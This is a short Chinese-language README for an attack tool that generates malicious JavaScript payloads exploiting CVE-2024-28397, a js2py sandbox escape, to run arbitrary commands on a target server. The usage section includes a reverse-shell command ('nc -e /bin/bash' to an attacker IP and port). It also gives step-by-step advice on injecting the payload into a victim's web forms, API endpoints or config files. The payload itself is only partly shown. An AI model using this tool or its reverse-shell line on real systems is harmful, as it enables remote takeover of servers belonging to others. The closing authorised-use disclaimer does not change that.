💡 深入阅读: 点击此处阅读完整技术简报(PDF)。
一个针对 CVE-2024-28397 的专业 Payload 生成器。该工具生成恶意 JavaScript 代码,旨在逃逸 js2py 沙箱(版本 <= 0.74)并在目标系统上执行任意命令。
Js2Py <= 0.74Object.getOwnPropertyNames 从 JavaScript 环境内部访问 Python 的 subprocess.Popen 类。该脚本生成利用此漏洞所需的确切 JavaScript Payload。使用此工具无需安装 js2py。
使用你想在目标机器上执行的命令来运行脚本。
# Generate payload to run 'id'
python3 exploit.py -c "id"
# Generate payload for a Reverse Shell
python3 exploit.py -c "nc -e /bin/bash 10.10.10.10 4444"
复制工具生成的输出,并将其注入易受攻击的应用程序(例如,由 js2py 解析的 Web 表单、API 端点或配置文件)。
注入示例:
如果某个网站接受用户输入并使用 js2py.eval_js(user_input) 运行它,粘贴生成的代码即可在他们的服务器上执行你的命令。
$ python3 exploit.py -c "whoami"
var output = "Initial";
try {
var leaked_wrapper = Object.getOwnPropertyNames({});
// ... (full malicious code) ...
var res = Popen("whoami", ...).communicate();
output = res;
} ...
output
Ali Sünbül (xeloxa)
本软件仅供教育和安全研究目的使用。作者对任何滥用此代码的行为概不负责。确保在测试任何非自己拥有的系统之前,已获得明确许可。